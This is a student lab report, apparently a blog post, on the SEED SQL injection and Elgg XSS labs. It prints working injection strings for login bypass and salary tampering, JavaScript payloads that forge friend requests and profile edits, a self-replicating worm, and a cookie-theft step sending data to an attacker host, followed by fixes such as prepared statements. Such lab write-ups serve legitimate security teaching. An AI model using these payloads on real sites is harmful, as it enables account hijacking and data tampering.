20212914 2021-2022-2 《网络攻防实践》第十次(第十二周)作业

1.实践内容

1.1 实践介绍

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

  • SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 弹窗显示cookie信息:将cookie信息显示。

  • 窃取受害者的cookies:将cookie发送给攻击者。

  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  • 编写XSS蠕虫。

  • 对抗XSS攻击。

1.2 学习内容

1.2.1 SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

1.2.2 XSS

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。
XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

与钓鱼攻击相比,XSS攻击所带来的危害更大,通常具有如下特点:
①由于XSS攻击在用户当前使用的应用程序中执行,用户将会看到与其有关的个性化信息,如账户信息或“欢迎回来”消息,克隆的Web站点不会显示个性化信息。
②通常,在钓鱼攻击中使用的克隆Web站点一经发现,就会立即被关闭。
③许多浏览器与安全防护软件产品都内置钓鱼攻击过滤器,可阻止用户访问恶意的克隆站点。
④如果客户访问一个克隆的Web网银站点,银行一般不承担责任。但是,如果攻击者通过银行应用程序中的XSS漏洞攻击了银行客户,则银行将不能简单地推卸责任。

常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

1.熟悉SQL语句。

(1)首先登录 MySQL 数据库,mysql -u root -pseedubuntu

(2)使用系统创建好的 Users 数据库,use Users

(3)查看该数据库下所有的表,show tables;

(4)可以看到该数据库存在一个名为“credential”的表,查看这个表的详细信息,select * from credential;

2.对SELECT语句的SQL注入攻击

(1)使用 SEED 访问已经搭建好的 Web 页面:www.SEEDLabSQLInjection.com

(2)使用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验

(3)通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞

利用注释特性,当变量$input_uname为Admin' #时,这部分变成了:WHERE name= 'Admin' #' and Password='$hashed_pwd'实际上,#后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin',这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:

发现成功登录,可以看见使用者的生日、薪酬等信息

3.对UPDATE语句的SQL注入攻击

(1)首先利用前面的漏洞,用Alice' #登录,可以看到对应的信息

(2)然后点击页面上方的Edit Profile进入更新信息页面

(3)通过语句vim /var/www/SQLInjection/unsafe_edit_backend.php在unsafe_edit_backend.php中找到 SQL 语句,发现不能对个人工资进行更新修改,同时由上文可以知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName

(4)如果用户在 NickName 文本框中输入:', salary='500000' where EID='10000';#,那么变量$input_nickname则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname='', salary='500000' where EID='10000';,这条语句就实现了将 Alice 的工资更新为 500000

4.SQL对抗:修复上述SQL注入攻击漏洞。

(1)SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪一部分是数据,哪一部分是数据是代码。不幸的是,当SQL语句被发送到数据库时,边界已经消失。要解决这个问题,重要的是要确保边界的视图是一致在服务器端代码和数据库中。最安全的方法是使用预处理语句。预处理语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预处理语句能防止 SQL 注入

(2)比如在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。原来的语句:

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2 SEED XSS跨站脚本攻击实验(Elgg)

1、发布恶意消息,显示警报窗口

(1)进入个人信息页面http://www.xsslabelgg.com/profile/alice

(2)点击Edit profile,接着在下面的Brief description文本框输入以下语句:,点击Save保存,页面弹出如下的提示框,点击Save保存

(3)从Boby的页面弹进入Alice的页面时弹出出如下的提示框

2、弹窗显示 cookie 信息
(1)在Brief description文本框输入以下 JS 语句并保存:

(2)从Boby的页面弹进入Alice的页面时弹出提示框,并且显示当前的 cookie 信息

3、窃取受害者的 cookies
(1)可以考虑使用 JS 脚本动态地在页面添加一个标签,同时在标签的src属性中嵌入攻击代码,其中本机 192.168.75.134 充当攻击者,JavaScript将cookies发送到攻击者机器的5788端口,若攻击者的TCP server侦听同一个端口,则可打印出收到的内容:

(2)将上述代码同样输入到Brief description文本框中,然后在终端使用以下指令监听端口:nc -l 5788 -v

4、成为受害者的朋友
(1)登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友

(2)可以看到此时浏览器发送的 POST 请求的地址http://www.xsslabelgg.com/action/friends/addfriend=45&__elgg_ts=1589264053&__elgg_token=v-5SQNXrM_NGAKG0TFtXWQ

(3)可以构造下面的脚本,用于添加其他好友

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	  //发送 Ajax 请求
	  Ajax = new XMLHttpRequest();
	  Ajax.open("GET", sendurl, true);
	  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	  Ajax.send();
}
</script>

(4)将脚本放在 Alice 的About me文本框

(5)登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友。

5、修改受害者的信息
(1)在进入Edit profile页面后,点击Save后,可以看到具体的 Network 请求信息

(2)然后在Alice的About me中写入如下字段,用于在 Boby 访问 Alice 时,修改 Boby 的个人资料

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

(3)登录 Boby,访问 Alice,再返回 Boby,可以看到信息已经修改

6、编写 XSS 蠕虫
(1)使用DOM API的方法,编写XSS蠕虫。

在Alice的About me中写入如下字段:


<script id="worm" type ="text/javascript">

var headerTag = "<script id=\"worm\" type=\"text/javascript\">";

var jsCode = document.getElementById("worm").innerHTML;

var tailTag = "</" + "script>";

var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

alert(jsCode);

</script>

(2)登录boby,访问Alice的主页。发现这段代码已经被成功的复制。攻击成功。

7.对抗XSS攻击

(1)通过查阅资料,我们得知Elgg本身已经提供对抗XSS攻击的插件。

首先登录管理员账户。账户为:"admin",密码为:"seedelgg"。在"Account->administration->plugins"路径下,找到插件"HTMLawed"。该插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

(2)然后查看Alice的主页。可以出此时XSS攻击已失效。Alice中的恶意代码被当作about me文本展示。

3.学习中遇到的问题及解决

  • 问题1:在about me中添加攻击代码,但是攻击无效
  • 问题1解决方案:在使用about me文本框进行攻击的时候,需要将默认的"Edit HTML"改为"Visual editor"模式。否则攻击无法生效。

4.实践总结

这次实验通过一个实验平台,实验了sql注入和xss攻击的几种方式,让我们简单的掌握了它的原理,但其实在大部分网站中,很难像实验这样能够利用这些很低级的漏洞,这个实验帮助了我们了解了其基本的攻击方式和攻击类型。

posted @ 2022-05-22 13:25  是过客啊  阅读(64)  评论(0编辑  收藏  举报